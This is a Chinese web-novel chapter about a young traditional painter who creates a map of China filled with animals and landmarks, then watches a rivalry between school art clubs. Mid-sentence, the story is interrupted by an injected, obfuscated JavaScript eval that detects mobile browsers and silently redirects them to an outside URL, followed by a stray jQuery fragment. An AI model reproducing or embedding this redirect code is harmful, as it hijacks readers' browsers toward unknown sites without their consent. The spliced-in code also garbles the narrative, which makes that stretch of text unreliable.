“如果……不占用太多额外时间,只是提供作品,而且作品有机会被认真陈列、甚至被来自不同地方的人看到,”叶轻辞组织着语言,“我觉得,可以试试。咱们修东西是让旧物‘活’下去,而用新的方式去呈现传统的美,也是让这些东西活得更好、走得更远的一种方式。”
“这会儿不怕麻烦?”秦师父嗤笑一声,抬眼看她,“东西交出去,可就由不得你了。画成什么样,用在哪儿,别人怎么评说,你都管不着。”
“大赛作品交出去,也没指望能回来。”叶轻辞笑了笑,神色坦然,“但意义不一样……如果我的画,能放在一个地方,让偶尔路过的人停下来看几眼,觉得‘哎,这个有意思’,‘原来国画还能这样’,哪怕只是一瞬间的触动,我觉得就值了。”
再说了,您老是没见后世那些名胜古迹,什么紫禁城、什么未央宫、什么断桥残雪、什么山水甲天下……哪个不是变着法子开发文创,吸引眼球?她这点融合心思,才哪到哪啊。
叶轻辞搞事情搞得理直气壮。
只当是提前把互联网时代的花样拿出来,让当下的人尝个鲜了。
“心思正,便可行。”秦师父看了她半晌,几不可察地点了下头,“但记住,量力而为,别本末倒置。”
“明白!”叶轻辞眼睛弯起。
有了师父的首肯,叶轻辞便着手构思。
她不想画单纯的风景或人物,那样显不出融合与视角。
思来想去,一个念头逐渐清晰——地图。
一幅特别的,承载着文化意象与生灵之美的导览图。
疆域无小事,寸土不能遗……叶轻辞深知这一点的重要性。
为了确保版图绝对精准、毫无疏漏,她特意跑去新华书店,斥巨资买回一幅最新版的、超大幅面的行政地图。
随后几个下午,她都泡在侧屋,将地图小心衬在画纸下,利用简陋的透写台,一点点、一丝不苟地描摹轮廓,反复核对每一个细微的转折,每一处岛屿的位置,连南海那些星罗棋布、在图上几乎只是一个小点的岛礁,都用最细的笔尖,郑重地一一标记出来。
笔声沙沙,时光静谧。
最终,叶轻辞以水墨淡彩为底,成功勾勒出雄鸡形状的国家版图。
但这版图上标注的,不是冰冷的行政区划和城市名称,而是一个个鲜活的文化符号与自然精灵——
西川翠竹旁憨态可掬的大熊猫,北岭林原上威风凛凛的东北虎,江域碧波中嬉戏的江豚,藏区高原驰骋的藏羚羊,南疆雨林里漫步的亚洲象,滇池上空翩跹的红嘴鸥……谁说毛笔画不出胖墩墩、毛茸茸?
兴趣、审美加上技法加持,每一只萌物都经过精心设计,既保留动物本身的特征,又融入些许当地民间艺术中常见的装饰纹样或配色趣味,生动俏皮,却不失真实。
此外,她还在地图的相应位置,以极简练精巧的小图标,点缀出代表性的文化地标或自然奇观:蜿蜒的长城,巍峨的布达拉宫,梦幻的泼墨漓江,神秘的敦煌飞天剪影,古朴的闽地土楼……寥寥数笔,尽是建筑之美、山水之趣。
秦师父偶尔会踱步过来,站在门口看一会儿。
看她如何为了一只东北虎身上的纹路查阅资料,如何调整江豚跃出水面的弧线使其更灵动,细细思索为宝岛点缀什么代表性意象。
他不言不语,只是那么静静地看着。
目光里,是看着一棵小树,正在以自己的方式和节奏,向着阳光伸展枝桠。
以后绝不能再随便说什么自家小徒弟要是想开了,大可转行的话……秦师父想了一会儿,心忖。
他捞出不知何时蹭到腿边来的狻猊,大手摸了它两把。
从前只道她基本功扎实,描刻复写样样都会,够稳当……纵然成不了一方书画大家,混个温饱还是不成问题的。
如今再看,分明是胸有丘壑。
若她真改了主意,难受的恐怕该是自己了。
这么想着,秦师父决定晚些时候找褚老头小酌两杯。
不为别的,他心里高兴。
……
当最后一处岛礁被小心点染,最后一抹融合了石绿与花青,代表森林或水域的淡彩在纸面洇开,叶轻辞终于搁下笔,长舒一口气。
一幅独特的、充满生机与温度的文化生灵地图呈现在眼前,纵然她是画者本身,也照样有些惊喜。
不强调边界却无一处遗漏,描绘具体意象,指向的却是这片土地上绵延不绝的生命力与文化魅力。
嗯……各地文创的集大成者,叶轻辞心忖。
艺术性见仁见智,吸引力绝对是max级别的。
待墨迹干透,她将画作小心卷好收进打磨好的竹筒里,附上一封简短的回信,寄往了“拾遗”基金会。
信里没有过多介绍,只简单说明了创作意图。
寄出画卷的那一刻,叶轻辞心中平静。
回音如何,已不重要。
她回来的时候,秦师父终于没忍住好奇:“这次,你又给画取了个什么名?”
“风景这边独好。”叶轻辞微笑。
*
两个月后的一个周五下午,临城一中画室。
这里本是高中部美术特长生的地盘,初中年段的学生不会往这边来,无奈初中部的书画社活动室翻新,无处可去,两拨人临时共用此地。
高中部不少尖子生外出集训,画室稍显空旷,却也使初中生们更显局促。
原本井水不犯河水的两拨人,因场地交汇,空气里难免多了些微妙的张力。
尤其最近,随着各类美术竞赛更多青睐素描、油画等形式,专注于传统书画的社团难免在资源分配上感受到一些无形的挤压。
关峰,那个曾经试图找叶轻辞麻烦却碰了钉子的男生,不知怎的,竟和高二年级美术社的骨干宋程坤凑到了一块。
他跟在宋程坤身后,颇有几分狐假虎威的架势。
“啧,关峰还有这幅嘴脸呢?”杨臻摆弄着自己的毛笔和墨碟,低声对旁边的潘雯嘀咕,语气里满是看不惯。
画室本就嘈杂,美术社那边人多,谈论声、挪动画架的声响混成一片。
“……要我说,有些东西该淘汰就得淘汰,死守着老章法有什么用?”不知是谁先起了话头,声音不大不小,刚好能让书画社这边听见,“瞧瞧人家《新美术》《现代艺术》上面的作品,那才叫思想和功力。整天描摹花鸟,技法半吊子,创意更是谈不上,难怪比赛越来越没声响,看的人都少。”
这话带着明显的指向性。
书画社这边,几个高年级的学长学姐皱了皱眉,但大多选择沉默。
学传统书画的,心性多少磨得沉稳些,对这种嘴上便宜不甚在意,也不屑争口舌之利。
然而,冲突往往起于微末。
一个美术社的男生在搬动画架时,动作大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289161|194440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了些,画架腿不慎撞到了正弯腰捡拾掉落的涮笔筒的书画社一个初一小学妹。
小学妹“哎哟”一声,踉跄着坐倒在地,涮笔筒里的脏水泼了一身,虽然水不多,但颜料的污渍在浅色衣服上格外刺眼。
“你怎么回事啊,没长眼睛吗?”小学妹的同桌,一个性子急的男生立刻站了起来。
“谁让她蹲在那儿挡路,自己不小心还怪别人!”撞人的男生非但不道歉,反而嘴硬。
“……你说什么?!”
积攒的不满瞬间被点燃。
书画社这边本就被刚才那番贬损言论弄得心头窝火,此刻见学妹受委屈,顿时炸了锅。
“你们美术社了不起啊?场地是学校的,又不是你们家的。”
“我们拿得奖多,就是了不起啊。”
“哼,嘴上说得天花乱坠,最近几次大美术展和艺术期刊,最出风头的《人间烟火依旧》和《风景这边独好》不都是国画作品?你们油画、素描投稿那么多,怎么没见那么大反响?”
“除了国画的技法,那两幅画的透视和色彩搭配,还不是学我们西画体系,光靠你们老掉牙的笔墨行吗?”
“呵呵,真不要脸!传统的就是老掉牙?没有传统根脉,你们那些所谓的创新又从哪儿来?”
双方你来我往,声音越来越高,面红耳赤,火药味弥漫。
原本还算宽敞的画室,此刻显得拥挤而燥热。
不知不觉沦为双方打嘴炮时被频繁提及的“榜样”或“反例”工具的叶轻辞:“……”
她今天只是例行来画室完成社团打卡,顺便练几笔字静静心。
此刻,她正坐在靠窗一个相对安静的角落,面前铺着从潘雯那里借来的半张宣纸,墨已研好。
对于那边的争吵,她起初只当背景噪音,直到听到熟悉的作品名字被反复拎出来说事。
关峰作为美术社那边带头参团的人,声音最大吵得最凶,仿佛将之前在叶轻辞这里吃的瘪,都发泄在了这场派系之争上。
而那位高二的宋程坤,一开始只是抱臂站在人群稍后,神色冷淡地旁观,目光偶尔扫过全场,在叶轻辞那宁静角落停留了片刻,似乎有些意外于她的置身事外。
至于叶轻辞为什么不急?
因为她进门时,恰好看见风纪委员在走廊巡视。
争吵初起,她便借着出去洗笔的由头,在门口对那位相熟的风纪委员飞快使了个眼色,低声说了句“画室有点闹,怕出事”。
对方心领神会,点了点头就快步离开了。
算算时间,脚程快的话,值班老师这会儿应该已经在路上了。
只要不动手,一切都有转圜余地。
她稳坐如山,甚至重新提起了笔,蘸墨敛息,准备落笔。
与其卷入无谓的口舌之争,不如多写两个字静心。
然而,树欲静而风不止。
就在她笔尖将触未触纸面之际,关峰那边不知说了什么,激动地一巴掌拍在旁边的桌子上。
“砰——!”
一声闷响,桌子一震。
叶轻辞手腕稳如磐石,笔尖并未因此错位。
但搁在桌沿的塑料墨碟却受了波及,里面饱满的墨汁轻轻一晃,有墨水溅了出来,正正落在她即将下笔的位置,迅速洇开一小团碍眼的墨迹。
“……”
叶轻辞看着那团意外出现的墨渍,沉默了一瞬。